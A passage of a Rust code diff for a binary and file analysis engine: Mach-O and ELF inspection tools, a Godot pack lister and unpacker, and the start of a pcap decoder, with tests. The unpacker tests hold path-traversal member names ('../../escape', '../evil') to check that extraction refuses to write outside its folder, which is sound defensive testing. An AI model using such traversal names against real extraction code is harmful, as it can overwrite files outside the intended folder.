p.max_nodes, 1, 20_000)?, + max_edges: range("max_edges", p.max_edges, 1, 40_000)?, + offset: p.offset, + limit: range("limit", p.limit, 1, 5000)?, + }; + let st = native(ctx)?; + let t = ctx.session.active()?; + let f = resolve_function(t, &st.prog, &p.function)?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let r = an::value_trace(&st.img, &st.prog, f, &o, &names); + let total = r.result["page"]["total"].as_u64().unwrap_or(0); + let shown = r.result["nodes"].as_array().map(Vec::len).unwrap_or(0) as u64; + let e = super::native_common::ev(ctx, "native_value_flow_show", params_json(&p))? + .result(r.result) + .summary(r.summary) + .confidence(r.confidence) + .limitations(r.limitations) + .locations(r.locations) + .coverage(Coverage::page(shown, total, p.offset as u64)) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +fn apple_objc_classes_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PatternParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let img = image(ctx)?; + let r = an::objc_classes(&img.0, &p.pattern); + from_report(ctx, "apple_objc_classes_list", params_json(&p), r) +} + +fn apple_objc_protocols_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DocParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let img = image(ctx)?; + let r = an::objc_protocols(&img.0); + from_report(ctx, "apple_objc_protocols_list", params_json(&p), r) +} + +fn apple_swift_types_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SwiftParams = parse_params(params)?; + select_document(ctx, &p.document)?; + if let Some(c) = &p.category + && !["classes", "structs", "enums", "protocols", "extensions", "other"].contains(&c.as_str()) + { + return Err(ToolError::invalid("category must be classes, structs, enums, protocols, extensions or other")); + } + let img = image(ctx)?; + let r = an::swift_types(&img.0.bin, p.category.as_deref(), p.pattern.as_deref()); + from_report(ctx, "apple_swift_types_list", params_json(&p), r) +} + +fn apple_dispatch_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DispatchParams = parse_params(params)?; + select_document(ctx, &p.document)?; + let max = range("max_records", p.max_records, 1, 20_000)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let r = an::dispatch_metadata(&st.img, &st.prog, max, &names); + from_report(ctx, "apple_dispatch_show", params_json(&p), r) +} + +fn apple_ui_action_trace(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: UiActionParams = parse_params(params)?; + select_document(ctx, &p.document)?; + if p.action.trim().is_empty() { + return Err(ToolError::invalid("action is empty")); + } + let depth = range("max_depth", p.max_depth, 0, 32)?; + let nodes = range("max_nodes", p.max_nodes, 1, 2000)?; + let edges = range("max_edges", p.max_edges, 1, 5000)?; + let st = native(ctx)?; + let t = ctx.session.active()?; + let user = user_names(t); + let names = |a: u64| user.get(&a).cloned(); + let r = an::ui_action(&st.img, &st.prog, p.action.trim(), depth, nodes, edges, &names); + from_report(ctx, "apple_ui_action_trace", params_json(&p), r) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::*; + use craft_anything_testkit as tk; + use serde_json::json; + + #[test] + fn detail_summary_is_smaller_and_pageable() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &elf); + let complete = call(&e, "native_function_study", json!({"function": "main"})); + let summary = call(&e, "native_function_study", json!({"function": "main", "detail": "summary"})); + + // The summary body is smaller and carries a retained reference plus the paging hint. + let full_len = serde_json::to_string(&complete).unwrap().len(); + let sum_len = serde_json::to_string(&summary).unwrap().len(); + assert!(sum_len < full_len, "summary ({sum_len}) should be smaller than complete ({full_len})"); + assert_eq!(summary["result"]["continue_with"], "core_evidence_browse"); + let id = summary["result"]["saved_evidence"]["evidence_id"].as_str().unwrap().to_string(); + assert!(id.starts_with("ev_")); + assert!(summary["result"]["counts"].is_object(), "counts extras present"); + // The id is the same whether summary or complete was asked (detail is not part of the id). + assert_eq!(complete["id"].as_str().unwrap(), id); + + // The full record is retained and can be paged facet by facet with core_evidence_browse. + let view = call(&e, "core_evidence_browse", json!({"source": {"kind": "saved", "evidence_id": id}, "show": {"kind": "summary"}})); + assert_eq!(view["result"]["from_tool"], "native_function_study"); + + // core_overview_show too. + let bo = call(&e, "core_overview_show", json!({"detail": "summary"})); + assert_eq!(bo["result"]["continue_with"], "core_evidence_browse"); + assert!(bo["result"]["saved_evidence"]["evidence_id"].as_str().unwrap().starts_with("ev_")); + } + + #[test] + fn workflows_end_to_end() { + let (elf, _) = tk::elf64(tk::ElfArch::X86_64, true); + let e = engine_with("prog", &elf); + let r = call(&e, "core_overview_show", json!({})); + assert_eq!(r["result"]["counts"]["functions"], 4); + let r = call(&e, "native_function_study", json!({"function": "main"})); + assert!(r["result"]["pseudocode"].as_str().unwrap().contains("puts")); + assert!(r["result"]["flow_effects"].as_array().unwrap().iter().any(|x| x["text"] == "puts")); + let r = call(&e, "native_call_graph_show", json!({"address": "main"})); + assert!(r["result"]["levels"]["1"].is_array()); + let r = call(&e, "native_call_graph_show", json!({"address": "helper", "direction": "backward"})); + assert_eq!(r["result"]["levels"]["1"][0]["name"], "main"); + let r = call(&e, "core_feature_find", json!({"query": "hello"})); + assert_eq!(r["result"]["functions"][0]["name"], "main"); + let r = call(&e, "native_call_path_find", json!({"start": "main", "goal": "dispatch"})); + assert_eq!(r["result"]["goal_result"], "reached"); + // An import is a goal when tracing forward, and only then. + let r = call(&e, "native_call_path_find", json!({"start": "main", "goal": "puts"})); + assert_eq!(r["result"]["goal_result"], "reached"); + assert_eq!(r["result"]["path"].as_array().unwrap().last().unwrap()["import"], true); + let err = call_err(&e, "native_call_path_find", json!({"start": "main", "goal": "puts", "direction": "backward"})); + assert!(err.message.contains("forward"), "{}", err.message); + let r = call(&e, "native_functions_decompile", json!({"addresses": ["main", "helper", "nope"]})); + assert_eq!(r["result"]["succeeded"], 2); + assert_eq!(r["result"]["failed"], 1); + let r = call(&e, "native_name_xrefs_list", json!({"name": "helper"})); + assert_eq!(r["result"]["references"].as_array().unwrap().len(), 1); + let r = call(&e, "native_api_show", json!({"function": "main"})); + assert_eq!(r["result"]["api_calls_by_category"]["text"][0]["name"], "puts"); + let r = call(&e, "native_value_flow_show", json!({"function": "main", "limit": 3})); + assert_eq!(r["result"]["nodes"].as_array().unwrap().len(), 3); + assert_eq!(r["coverage"]["status"], "partial"); + assert!(call_err(&e, "native_value_flow_show", json!({"function": "main", "max_depth": 99})).message.contains("max_depth")); + // Apple tools on an ELF: empty and honest + let r = call(&e, "apple_objc_classes_list", json!({})); + assert_eq!(r["result"]["classes"].as_array().unwrap().len(), 0); + assert!(r["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "not_macho")); + } + + #[test] + fn apple_workflows_end_to_end() { + let e = engine_with("app", &tk::macho64()); + let r = call(&e, "apple_objc_classes_list", json!({"pattern": "widget"})); + assert_eq!(r["result"]["classes"][0], tk::OBJC_CLASS); + let r = call(&e, "apple_objc_protocols_list", json!({})); + assert_eq!(r["result"]["protocols"][0]["name"], tk::OBJC_PROTOCOL); + let r = call(&e, "apple_swift_types_list", json!({})); + assert!(r["result"]["counts"].is_object()); + let r = call(&e, "apple_dispatch_show", json!({})); + assert_eq!(r["result"]["records"][0]["implementation_name"], "-[CAWidget tapButton:]"); + let r = call(&e, "apple_ui_action_trace", json!({"action": "tapButton:"})); + assert_eq!(r["result"]["handlers"].as_array().unwrap().len(), 1); + assert_eq!(r["confidence"], "inferred"); + let r = call(&e, "core_feature_find", json!({"query": "settings"})); + assert_eq!(r["result"]["functions"][0]["name"], "-[CAWidget tapButton:]"); + } +} diff --git a/desktop/crates/engine/src/tools/packed_tools.rs b/desktop/crates/engine/src/tools/packed_tools.rs new file mode 100644 index 0000000..337784a --- /dev/null +++ b/desktop/crates/engine/src/tools/packed_tools.rs @@ -0,0 +1,405 @@ +//! Files packed inside one program or game file (`formats::packed`): list them and take them out +//! into a new folder. Nothing is executed. + +use super::artifact_tools::{create_absent_dir, safe_components, write_new_file}; +use super::native_common::{DEFAULT_LIMIT, page, params_json, spec}; +use super::static_input::{builder, format_err, load}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Authority, Confidence, Coverage, CoverageStatus, ErrorCode, Limitation, Location, ToolError, sha256_hex}; +use craft_anything_formats::packed::{self, PackedEntry, PackedFormat, READERS}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::path::Path; + +/// Largest packed file read (2 GiB: single-file apps and game archives are often large). +const MAX_INPUT: u64 = 2 << 30; +const DEFAULT_MAX_OUTPUT: u64 = 2 << 30; +const DEFAULT_MAX_FILES: usize = 50_000; + +pub fn specs() -> Vec { + vec![ + spec( + "core_packed_files_list", + "Files packed inside a file", + "List the files carried inside one program or game file, recognised from its bytes (the reader used is in the result; `format` picks one when a file could be read several ways). Results give each member's path, size, how it's stored and what the file says it is, plus the facts of that kind of file, paged with offset/limit. `contains` keeps paths holding that text. For ordinary archives and app bundles use core_archive_show. Nothing is executed.", + "See which files a single-file app or a game's data file carries inside it.", + Toolset::Formats, + Effects::EVIDENCE.union(Effects::CARRIES_TARGET_CONTENT), + Requires::Nothing, + schema_of::, + core_packed_files_list, + ), + spec( + "core_packed_files_unpack", + "Take out packed files", + "Write files carried inside one program or game file into a new folder (output_directory must not exist yet; it is created). `paths` picks exact members, `contains` those holding some text; with neither, all of them. Never overwrites; a member whose path would leave the folder is skipped and named. Bounded by max_output_bytes and max_output_files. Writes manifest.json with every member's SHA-256 (under another name, given in the result, if a packed file took that one). Nothing is executed.", + "Unpack the files a single-file app or a game's data file carries, into a folder you can look through.", + Toolset::Formats, + Effects::MUTATES_SESSION.union(Effects::WRITES_FILESYSTEM).union(Effects::CARRIES_TARGET_CONTENT), + Requires::Nothing, + schema_of::, + core_packed_files_unpack, + ), + ] +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ListParams { + /// Absolute path of the file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Read the file as this kind (a reader id) instead of recognising it. + #[serde(default)] + pub format: Option, + /// Keep only members whose path contains this text. + #[serde(default)] + pub contains: Option, + #[serde(default)] + pub offset: usize, + #[serde(default = "default_limit")] + pub limit: usize, +} + +fn default_limit() -> usize { + DEFAULT_LIMIT +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ExtractParams { + /// Absolute path of the file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// A folder that doesn't exist yet; its parent must. + pub output_directory: String, + /// Read the file as this kind (a reader id) instead of recognising it. + #[serde(default)] + pub format: Option, + /// Exact member paths to take out. + #[serde(default)] + pub paths: Option>, + /// Take out members whose path contains this text. + #[serde(default)] + pub contains: Option, + #[serde(default = "default_max_output")] + pub max_output_bytes: u64, + #[serde(default = "default_max_files")] + pub max_output_files: usize, +} + +fn default_max_output() -> u64 { + DEFAULT_MAX_OUTPUT +} + +fn default_max_files() -> usize { + DEFAULT_MAX_FILES +} + +fn reader_for(format: Option<&str>, data: &[u8]) -> Result<&'static dyn PackedFormat, ToolError> { + let known = || READERS.iter().map(|r| r.id()).collect::>().join(", "); + match format { + Some(id) => { + packed::by_id(id).ok_or_else(|| ToolError::invalid(format!("No reader called {id:?}")).with_remediation(format!("Use one of: {}.", known()))) + } + None => packed::detect(data).ok_or_else(|| { + ToolError::unsupported("This file doesn't carry files in any way we recognise.") + .with_remediation(format!("Run core_target_triage to see what it is, or core_archive_show for ordinary archives. Readers: {}.", known())) + }), + } +} + +fn core_packed_files_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListParams = parse_params(params)?; + let input = load(ctx, p.path.as_deref(), MAX_INPUT)?; + let reader = reader_for(p.format.as_deref(), &input.bytes)?; + ctx.report(None, format!("Reading {} as {}", input.name, reader.title())); + let listing = reader.list(&input.bytes).map_err(|e| format_err(e, reader.title()))?; + ctx.cancel.check()?; + let total = listing.entries.len(); + let kept: Vec<&PackedEntry> = listing.entries.iter().filter(|e| p.contains.as_deref().is_none_or(|c| e.path.contains(c))).collect(); + let (entries, cov) = page(&kept, p.offset, p.limit); + let mut lims: Vec = listing.notes.iter().map(|n| Limitation::new("reader_note", n.clone())).collect(); + let mut coverage = cov; + if listing.truncated { + lims.push(Limitation::new("listing_cut_short", "A limit stopped the listing before its end, so more files may be inside.")); + coverage.status = CoverageStatus::Partial; + } + // When nothing could be listed, the reader's reason matters more than the count. + let summary = match listing.notes.first().filter(|_| total == 0) { + Some(why) => format!("{}: no files listed. {why}", reader.title()), + None => format!("{}: {total} file(s) inside, {} shown.", reader.title(), entries.len()), + }; + let ev = builder(ctx, "core_packed_files_list", input.subject.clone(), params_json(&p)) + .result(json!({"path": input.path, "format": reader.id(), "title": reader.title(), "facts": listing.facts, "total": total, "matching": kept.len(), "entries": entries})) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(coverage) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + Ok(ToolOutput::Evidence(Box::new(ev))) +} + +/// What taking files out produced. +#[derive(Debug, Default, Serialize)] +struct Extracted { + written: Vec, + skipped: Vec, + bytes: u64, + stopped_at_limit: bool, +} + +/// Write `chosen` members under `root`. A member that can't be read or placed is skipped and named. +fn write_members(reader: &dyn PackedFormat, data: &[u8], chosen: &[&PackedEntry], root: &Path, max_bytes: u64, max_files: usize) -> Extracted { + let mut out = Extracted::default(); + for e in chosen { + if out.written.len() >= max_files || out.bytes >= max_bytes { + out.stopped_at_limit = true; + break; + } + let parts = match safe_components(&e.path) { + Ok(parts) => parts, + Err(why) => { + out.skipped.push(json!({"path": e.path, "why": why})); + continue; + } + }; + let bytes = match reader.read(data, e, max_bytes - out.bytes) { + Ok(b) => b, + Err(err) => { + out.skipped.push(json!({"path": e.path, "why": err.to_string()})); + continue; + } + }; + match write_new_file(root, &parts, &bytes) { + Ok(_) => { + out.bytes += bytes.len() as u64; + out.written.push(json!({"path": parts.join("/"), "size": bytes.len(), "sha256": sha256_hex(&bytes)})); + } + Err(why) => out.skipped.push(json!({"path": e.path, "why": why})), + } + } + out +} + +/// Write the manifest under the first free name: a packed file may already be called manifest.json. +fn write_manifest(root: &Path, text: &[u8]) -> Result { + for n in 0..1000 { + let name = if n == 0 { "manifest.json".to_string() } else { format!("manifest-{n}.json") }; + let path = root.join(&name); + if std::fs::symlink_metadata(&path).is_err() { + return write_new_file(root, &[name], text).map_err(|why| ToolError::io(path.display(), std::io::Error::other(why))); + } + } + Err(ToolError::new(ErrorCode::OverLimit, "Every manifest name in this folder is taken by a packed file.")) +} + +fn core_packed_files_unpack(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ExtractParams = parse_params(params)?; + if p.max_output_bytes == 0 || p.max_output_files == 0 { + return Err(ToolError::invalid("max_output_bytes and max_output_files must be above zero")); + } + let input = load(ctx, p.path.as_deref(), MAX_INPUT)?; + let reader = reader_for(p.format.as_deref(), &input.bytes)?; + let listing = reader.list(&input.bytes).map_err(|e| format_err(e, reader.title()))?; + let chosen: Vec<&PackedEntry> = listing + .entries + .iter() + .filter(|e| p.paths.as_ref().is_none_or(|w| w.contains(&e.path)) && p.contains.as_deref().is_none_or(|c| e.path.contains(c))) + .collect(); + if chosen.is_empty() { + return Err(ToolError::new(ErrorCode::NotFound, "No packed file matches.").with_remediation("List them with core_packed_files_list.")); + } + let root = create_absent_dir(&p.output_directory)?; + ctx.report(None, format!("Taking {} file(s) out of {}", chosen.len(), input.name)); + ctx.cancel.check()?; + let out = write_members(reader, &input.bytes, &chosen, &root, p.max_output_bytes, p.max_output_files); + let manifest = json!({"version": 1, "source_sha256": sha256_hex(&input.bytes), "format": reader.id(), "files": out.written, "skipped": out.skipped}); + let text = serde_json::to_vec_pretty(&manifest).unwrap_or_default(); + let manifest_path = write_manifest(&root, &text)?; + let mut lims = Vec::new(); + if out.stopped_at_limit { + lims.push(Limitation::new("stopped_at_limit", "max_output_bytes or max_output_files stopped this before every file was out.")); + } + if listing.truncated { + lims.push(Limitation::new("listing_cut_short", "A limit stopped the listing before its end, so more files may be inside.")); + } + let done = out.written.len() as u64; + let coverage = Coverage { + status: if out.stopped_at_limit || !out.skipped.is_empty() || listing.truncated { CoverageStatus::Partial } else { CoverageStatus::Complete }, + examined: Some(done), + total: Some(chosen.len() as u64), + next_offset: None, + }; + let summary = + format!("Took {done} of {} file(s) ({} bytes) out of {} into {}; {} skipped.", chosen.len(), out.bytes, input.name, root.display(), out.skipped.len()); + let ev = builder(ctx, "core_packed_files_unpack", input.subject.clone(), params_json(&p)) + .result( + json!({"output_directory": root, "format": reader.id(), "written": done, "bytes": out.bytes, "skipped": out.skipped, "manifest": manifest_path}), + ) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(coverage) + .location(Location::new("path", root.display().to_string())) + .build()?; + Ok(ToolOutput::Evidence(Box::new(ev))) +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_formats::FormatError; + use craft_anything_formats::packed::{Compression, PackedListing}; + + struct Plain; + impl PackedFormat for Plain { + fn id(&self) -> &'static str { + "plain" + } + fn title(&self) -> &'static str { + "Plain" + } + fn detect(&self, _: &[u8]) -> bool { + true + } + fn list(&self, _: &[u8]) -> Result { + Err(FormatError::Unsupported("the writer gets its members directly".into())) + } + } + + fn member(path: &str, offset: u64, stored_size: u64) -> PackedEntry { + PackedEntry { path: path.into(), offset, stored_size, size: None, compression: Compression::None, kind: None } + } + + fn pack_files() -> Vec> { + use craft_anything_testkit::games::GodotFile; + vec![ + GodotFile { path: "res://project.binary", data: b"settings", flags: 0, md5: [7; 16] }, + GodotFile { path: "res://scenes/main.tscn", data: b"[gd_scene]", flags: 0, md5: [0; 16] }, + GodotFile { path: "res://locked.res", data: b"secret", flags: 1, md5: [7; 16] }, + GodotFile { path: "res://../../escape", data: b"evil", flags: 0, md5: [0; 16] }, + ] + } + + #[test] + fn a_godot_pack_lists_and_extracts_through_the_tools() { + use super::super::native_common::test_support::call; + use craft_anything_testkit::games::{godot_embedded, godot_pck, godot_pck_at}; + let e = crate::Engine::new(crate::testing::session()); + for (format, embed) in [(1, false), (2, false), (3, false), (1, true), (2, true), (3, true)] { + let dir = tempfile::tempdir().unwrap(); + let bytes = if embed { godot_embedded(&[0x7f; 40], &godot_pck_at(format, 2, 40, &pack_files())) } else { godot_pck(format, 2, &pack_files()) }; + let path = dir.path().join(if embed { "game.exe" } else { "game.pck" }); + std::fs::write(&path, &bytes).unwrap(); + let v = call(&e, "core_packed_files_list", json!({"path": path, "contains": "scenes"})); + let r = &v["result"]; + assert_eq!(r["format"], "godot_pck"); + assert_eq!(r["total"], 4); + assert_eq!(r["facts"]["embedded_in_program"], embed); + assert_eq!(r["entries"][0]["path"], "scenes/main.tscn"); + + let out = dir.path().join("out"); + let x = call(&e, "core_packed_files_unpack", json!({"path": path, "output_directory": out})); + assert_eq!(std::fs::read(out.join("scenes/main.tscn")).unwrap(), b"[gd_scene]"); + assert_eq!(std::fs::read(out.join("project.binary")).unwrap(), b"settings"); + let skipped = x["result"]["skipped"].as_array().unwrap(); + let why: Vec<&str> = skipped.iter().map(|s| s["path"].as_str().unwrap()).collect(); + assert!(why.contains(&"../../escape"), "{why:?}"); + assert!(!dir.path().parent().unwrap().join("escape").exists()); + if format >= 2 { + assert!(why.contains(&"locked.res"), "encrypted files stay closed: {why:?}"); + assert!(!out.join("locked.res").exists()); + } + } + } + + #[test] + fn a_pack_whose_table_is_encrypted_says_so_in_its_summary() { + use super::super::native_common::test_support::call; + use craft_anything_testkit::games::godot_pck; + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("game.pck"); + std::fs::write(&path, godot_pck(2, 3, &pack_files())).unwrap(); + let v = call(&crate::Engine::new(crate::testing::session()), "core_packed_files_list", json!({"path": path})); + assert!(v["summary"].as_str().unwrap().contains("encrypted"), "{}", v["summary"]); + assert_eq!(v["result"]["facts"]["declared_files"], 4); + assert_eq!(v["result"]["total"], 0); + } + + #[test] + fn a_member_called_manifest_json_is_kept() { + use super::super::native_common::test_support::call; + use craft_anything_testkit::games::{GodotFile, godot_pck}; + let e = crate::Engine::new(crate::testing::session()); + let cases: [(&[GodotFile<'static>], &str); 2] = [ + (&[GodotFile { path: "res://manifest.json", data: b"mine", flags: 0, md5: [0; 16] }], "manifest-1.json"), + (&[GodotFile { path: "res://manifest.json/inner", data: b"mine", flags: 0, md5: [0; 16] }], "manifest-1.json"), + ]; + for (files, name) in cases { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("game.pck"); + std::fs::write(&path, godot_pck(2, 2, files)).unwrap(); + let out = dir.path().join("out"); + let v = call(&e, "core_packed_files_unpack", json!({"path": path, "output_directory": out})); + assert_eq!(v["result"]["written"], 1); + assert!(v["result"]["manifest"].as_str().unwrap().ends_with(name), "{v}"); + let member = files[0].path.trim_start_matches("res://"); + assert_eq!(std::fs::read(out.join(member)).unwrap(), b"mine"); + let manifest: Value = serde_json::from_slice(&std::fs::read(out.join(name)).unwrap()).unwrap(); + assert_eq!(manifest["files"][0]["sha256"], sha256_hex(b"mine")); + } + } + + #[test] + fn tools_that_return_a_files_own_text_say_so() { + let r = crate::Registry::with_all_tools(); + for id in [ + "core_packed_files_list", + "core_packed_files_unpack", + "formats_bytecode_show", + "game_unity_code_names_show", + "formats_ai_weights_show", + "app_folder_explain", + "native_library_calls_list", + "native_offered_symbols_list", + "native_publisher_show", + "app_builds_line_up", + "native_source_folder_write", + "android_components_list", + "web_standin_build", + "web_standin_show", + ] { + assert!(r.get(id).unwrap().effects.contains(Effects::CARRIES_TARGET_CONTENT), "{id}"); + } + } + + #[test] + fn members_are_written_and_escapes_are_named() { + let dir = tempfile::tempdir().unwrap(); + let (a, up, past) = (member("sub/a.txt", 0, 5), member("../evil", 0, 5), member("past", 99, 5)); + let out = write_members(&Plain, b"hello", &[&a, &up, &past], dir.path(), 1 << 20, 10); + assert_eq!(std::fs::read(dir.path().join("sub/a.txt")).unwrap(), b"hello"); + assert_eq!(out.written.len(), 1); + assert_eq!(out.skipped.len(), 2); + assert!(!dir.path().parent().unwrap().join("evil").exists()); + assert!(!out.stopped_at_limit); + } + + #[test] + fn output_limits_stop_the_work_and_say_so() { + let dir = tempfile::tempdir().unwrap(); + let (a, b) = (member("a", 0, 5), member("b", 0, 5)); + let out = write_members(&Plain, b"hello", &[&a, &b], dir.path(), 1 << 20, 1); + assert_eq!(out.written.len(), 1); + assert!(out.stopped_at_limit); + let dir2 = tempfile::tempdir().unwrap(); + let tight = write_members(&Plain, b"hello", &[&a, &b], dir2.path(), 7, 10); + assert_eq!(tight.written.len(), 1, "the second no longer fits in what's left"); + assert_eq!(tight.skipped.len(), 1); + } +} diff --git a/desktop/crates/engine/src/tools/packet_tools.rs b/desktop/crates/engine/src/tools/packet_tools.rs new file mode 100644 index 0000000..af7c61a --- /dev/null +++ b/desktop/crates/engine/src/tools/packet_tools.rs @@ -0,0 +1,678 @@ +//! Saved packet captures (pcap and pcapng). The built-in decoder (craft_anything_formats::pcap) +//! needs nothing installed: an overview with paged conversations, and per-packet decoded fields +//! with simple filters. When Wireshark's `tshark` is installed it can produce the address, DNS, +//! TLS-name, protocol and HTTP inventories instead; the built-in decoder is the fallback. Nothing +//! is captured live, nothing is sent on the network. + +use super::native_common::{page, params_json, spec}; +use super::static_input::{self, Input, builder, format_err}; +use super::{Detail, detailed}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Authority, Confidence, Coverage, ErrorCode, Limitation, Location, Subject, ToolError}; +use craft_anything_formats::pcap::{self, Capture, Count, FlowTable}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; +use std::net::IpAddr; +use std::path::PathBuf; +use std::time::Duration; + +pub fn specs() -> Vec { + let e = Effects::EVIDENCE; + vec![ + spec( + "packets_capture_show", + "Packet capture overview", + "Summarize a saved pcap or pcapng capture with the built-in decoder (nothing installed): format, interfaces and link types, packet and byte counts, time span, frames per protocol, busiest addresses, conversations (flows) with packets and bytes in each direction and the application protocols seen (paged), DNS questions and answers, HTTP/1.x requests (method, Host, target; credentials removed) and TLS ClientHello server names (SNI) and ALPN. Decodes Ethernet (VLAN), raw IP, Linux cooked and loopback links; IPv4, IPv6, TCP, UDP, ICMP. Each packet is decoded on its own: no stream reassembly, no decryption.", + "See who talked to whom in a saved network capture, and which sites were looked up.", + Toolset::Formats, + e, + Requires::Nothing, + schema_of::, + packets_capture_show, + ), + spec( + "packets_fields_show", + "Packet fields", + "List decoded fields of individual packets in a saved pcap or pcapng capture, paged: frame number, time, link, protocol stack, addresses and ports, conversation (flow) id, IP TTL, TCP flags/sequence/window, UDP and ICMP details, DNS questions and answers, HTTP/1.x request or status line with Host, TLS ClientHello SNI/ALPN/versions. Filter by protocol (e.g. dns, tls, http, tcp, udp, icmp, ipv6, arp), IP address, port, or flow id from packets_capture_show. Built-in decoder.", + "Look at individual packets in a capture, filtered by protocol, address or port.", + Toolset::Formats, + e, + Requires::Nothing, + schema_of::, + packets_fields_show, + ), + spec( + "engines_tshark_check", + "Wireshark tools check", + "Check whether Wireshark's tshark is installed (Settings → Engines, the engine store, PATH, or the standard Wireshark folder) and which version it reports. Reads no capture. Optional: the built-in capture decoder works without it.", + "Check whether Wireshark's command-line tool is available.", + Toolset::Formats, + Effects::NATIVE_EVIDENCE, + Requires::Nothing, + schema_of::, + engines_tshark_check, + ), + spec( + "packets_inventory_show", + "Capture inventories", + "Inventories of a saved pcap or pcapng capture: packet count, protocol stacks, IPv4/IPv6 addresses with packet counts, DNS questions and the addresses answered for them, TLS server names (SNI) and HTTP request URIs (credentials removed), each with counts and limited to `limit` rows. Uses Wireshark's tshark when installed (engine=auto or tshark; full dissectors, run with a deadline and capped output) and the built-in decoder otherwise (engine=built_in forces it).", + "List the addresses, websites and protocols found in a saved network capture.", + Toolset::Formats, + Effects::NATIVE_EVIDENCE, + Requires::Nothing, + schema_of::, + packets_inventory_show, + ), + ] +} + +fn d_limit() -> usize { + 100 +} +fn d_fields_limit() -> usize { + 50 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct CaptureParams { + /// Absolute path of a .pcap/.pcapng file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// First conversation (flow) of the page. + #[serde(default)] + pub offset: usize, + /// Conversations per page (1–5000, default 100). Inventories show their top 100. + #[serde(default = "d_limit")] + pub limit: usize, + /// summary or complete (default). + #[serde(default)] + pub detail: Detail, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct FieldsParams { + /// Absolute path of a .pcap/.pcapng file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Only packets with this protocol in their stack (eth, vlan, ipv4, ipv6, arp, tcp, udp, icmp, icmpv6, dns, mdns, http, tls). + #[serde(default)] + pub protocol: Option, + /// Only packets from or to this IP address. + #[serde(default)] + pub ip: Option, + /// Only packets from or to this TCP/UDP port. + #[serde(default)] + pub port: Option, + /// Only packets of this conversation (the flow id from packets_capture_show, e.g. 3 or "f3"). + #[serde(default)] + pub flow: Option, + /// First matching packet of the page. + #[serde(default)] + pub offset: usize, + /// Packets per page (1–1000, default 50). + #[serde(default = "d_fields_limit")] + pub limit: usize, +} + +#[derive(Debug, Default, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ClientParams {} + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Deserialize, Serialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum CaptureEngine { + /// tshark when installed, the built-in decoder otherwise. + #[default] + Auto, + BuiltIn, + Tshark, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct InventoryParams { + /// Absolute path of a .pcap/.pcapng file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// auto (default), built_in or tshark. + #[serde(default)] + pub engine: CaptureEngine, + /// Rows kept per inventory, most frequent first (1–10000, default 100). + #[serde(default = "d_limit")] + pub limit: usize, + /// summary or complete (default). + #[serde(default)] + pub detail: Detail, +} + +fn load(ctx: &Ctx<'_>, path: Option<&str>) -> Result { + let input = static_input::load(ctx, path, static_input::DEFAULT_MAX_BYTES)?; + if !pcap::is_capture(&input.bytes) { + return Err(ToolError::new(ErrorCode::NotSupported, format!("{} is not a pcap or pcapng capture", input.name)) + .with_remediation("Save the capture as .pcap or .pcapng (for example from Wireshark: File → Save As). HAR files go to web_recording_show.")); + } + Ok(input) +} + +fn time(ns: Option) -> Option { + ns.map(pcap::iso8601) +} + +fn top(v: &[Count], n: usize) -> &[Count] { + v.get(..n.min(v.len())).unwrap_or(&[]) +} + +fn common_limitations() -> Vec { + vec![ + Limitation::new( + "per_packet_decoding", + "Each packet is decoded on its own: data split across TCP segments (a long HTTP header, a large TLS ClientHello) is not reassembled, and encrypted payloads are not decrypted.", + ), + Limitation::new( + "recording_only", + "A capture shows only what was recorded on that interface during that time; traffic that is missing here may still have happened.", + ), + ] +} + +// --------------------------------------------------------------------------------------------- +// packets_capture_show + +fn packets_capture_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: CaptureParams = parse_params(params)?; + let input = load(ctx, p.path.as_deref())?; + ctx.report(None, format!("Decoding {}", input.name)); + let cancel = ctx.cancel.clone(); + let s = pcap::summarize(&input.bytes, &|| cancel.is_cancelled()).map_err(|e| format_err(e, "a 